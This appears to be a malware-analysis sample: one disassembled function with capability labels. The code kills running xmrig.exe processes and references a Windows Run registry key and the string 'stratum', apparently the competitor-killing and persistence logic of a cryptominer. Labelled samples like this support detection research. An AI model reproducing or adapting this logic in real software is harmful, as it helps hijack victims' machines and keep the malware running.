Function at 0x40abb0
Capabilities:
Enumerate processes
Persist via run registry key
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x4347eb
mov eax, dword fs:[0]
push eax
sub esp, 0x268
mov eax, dword [0x44d080]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.0040f770
push 9
xor eax, eax
mov dword [ebp - 0x248], 0
push str.xmrig.exe
lea ecx, [ebp - 0x258]
mov dword [ebp - 0x244], 7
mov word [ebp - 0x258], ax
call fcn.0040b840
push 0
push 0xf
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov ebx, eax
mov dword [ebp - 0x240], 0x22c
lea eax, [ebp - 0x240]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
mov edi, dword [ebp - 0x258]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
test eax, eax
je 0x40acda
nop word [eax + eax]
cmp dword [ebp - 0x244], 8
lea eax, [ebp - 0x258]
lea ecx, [ebp - 0x21c]
cmovae eax, edi
mov dx, word [ecx]
cmp dx, word [eax]
jne 0x40ac8c
test dx, dx
je 0x40ac88
mov dx, word [ecx + 2]
cmp dx, word [eax + 2]
jne 0x40ac8c
add ecx, 4
add eax, 4
test dx, dx
jne 0x40ac66
xor eax, eax
jmp 0x40ac91
sbb eax, eax
or eax, 1
test eax, eax
jne 0x40acc4
push dword [ebp - 0x238]
push eax
push 1
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
test esi, esi
je 0x40acbe
push 9
push esi
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push esi
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
jmp 0x40acc4
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
lea eax, [ebp - 0x240]
push eax
push ebx
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x40ac50
push ebx
call esi
mov eax, dword [ebp - 0x244]
cmp eax, 8
jb 0x40ad17
lea ecx, [eax*2 + 2]
mov eax, edi
cmp ecx, 0x1000
jb 0x40ad0d
mov edi, dword [edi - 4]
add ecx, 0x23
sub eax, edi
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40aeb6
push ecx
push edi
call fcn.00419f4a
add esp, 8
sub esp, 0x18
xor eax, eax
mov ecx, esp
push 0x2d
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
push str.SoftwareMicrosoftWindowsCurrentVersionRun
mov word [ecx], ax
call fcn.0040b840
mov ecx, SysReAllocStringLen
call fcn.0040fbf0
mov ecx, esp
xor eax, eax
push 0x2d
push str.SoftwareMicrosoftWindowsCurrentVersionRun
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 7
mov word [ecx], ax
call fcn.0040b840
mov ecx, reloc.OLEAUT32.dll_SysReAllocString
call fcn.0040fbf0
add esp, 0x18
lea ecx, [ebp - 0x274]
call fcn.00415fb0
mov edx, dword [ebp - 0x260]
cmp edx, 8
jb 0x40adbe
mov ecx, dword [ebp - 0x274]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40adb4
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40aebb
push edx
push ecx
call fcn.00419f4a
add esp, 8
push 7
xor eax, eax
mov dword [ebp - 0x248], 0
push str.stratum
lea ecx, [ebp - 0x258]
mov dword [ebp - 0x244], 7
mov word [ebp - 0x258], ax
call fcn.0040b840
xor eax, eax
mov dword [ebp - 4], 0
push eax
push 0x44263c
lea ecx, [ebp - 0x274]
mov dword [ebp - 0x264], 0
mov dword [ebp - 0x260], 7
mov word [ebp - 0x274], ax
call fcn.0040b840
mov edx, dword [ebp - 0x244]
cmp edx, 8
jb 0x40ae5e
mov ecx, dword [ebp - 0x258]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40ae54
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40aec0
push edx
push ecx
call fcn.00419f4a
add esp, 8
mov edx, dword [ebp - 0x260]
cmp edx, 8
jb 0x40ae9a
mov ecx, dword [ebp - 0x274]
lea edx, [edx*2 + 2]
mov eax, ecx
cmp edx, 0x1000
jb 0x40ae90
mov ecx, dword [ecx - 4]
add edx, 0x23
sub eax, ecx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x40aec5
push edx
push ecx
call fcn.00419f4a
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.00419c6a
mov esp, ebp
pop ebp
ret
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
call fcn.0042045f
int3